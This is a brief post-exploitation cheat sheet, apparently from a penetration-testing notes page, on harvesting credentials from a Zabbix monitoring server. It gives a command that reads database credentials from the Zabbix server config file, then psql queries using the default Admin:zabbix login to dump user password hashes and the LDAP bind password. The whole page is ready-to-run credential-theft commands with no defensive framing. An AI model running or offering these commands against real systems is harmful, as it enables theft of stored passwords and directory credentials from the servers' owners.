Zabbix

Grab DB creds:

$ cat /etc/zabbix/zabbix_server.conf | grep '^DB'

Grab local creds:

$ psql postgresql://Admin:zabbix@localhost/zabbix -c 'select userid, alias, name, surname, passwd, attempt_ip from users'

Grab LDAP creds:

$ psql postgresql://Admin:zabbix@localhost/zabbix -c 'select ldap_host, ldap_port, ldap_base_dn, ldap_bind_dn, ldap_bind_password from config'

Last updated